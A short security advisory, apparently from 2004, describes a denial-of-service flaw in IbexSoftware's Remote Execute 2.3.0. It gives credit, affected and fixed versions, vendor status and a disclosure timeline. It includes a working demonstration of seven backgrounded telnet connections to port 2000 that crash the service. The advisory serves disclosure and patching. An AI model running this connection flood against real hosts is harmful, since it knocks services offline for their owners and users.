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Remote Execute allows you to "Manage your network with ease and safety, execute applications on Your internal/external network from one central location."
By creating multiple connections to the Remote Execute component it is possible to cause a denial of service condition. |
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Credit:
The information has been provided by Pimp Industries.
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Vulnerable Systems:
* Remote Execute version 2.3.0
Immune Systems:
* Remote Execute version 2.3.01
After seven connections are created to the client service it will crash and refuse any further connections. In order to demonstrate the problem, issue the following:
telnet remotehost 2000 &
telnet remotehost 2000 &
telnet remotehost 2000 &
telnet remotehost 2000 &
telnet remotehost 2000 &
telnet remotehost 2000 &
telnet remotehost 2000 &
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The remote execute client is now down and port 2000 is now closed and not able to receive any more connections.
Vendor Status:
IbexSoftware were contacted, the problem was reproduced and a fix was released a week later. Users are highly encouraged to upgrade to version 2.3.01 which mitigates this vulnerability.
Disclosure Timeline:
29/11/2004 - Vendor notification
06/12/2004 - Public release
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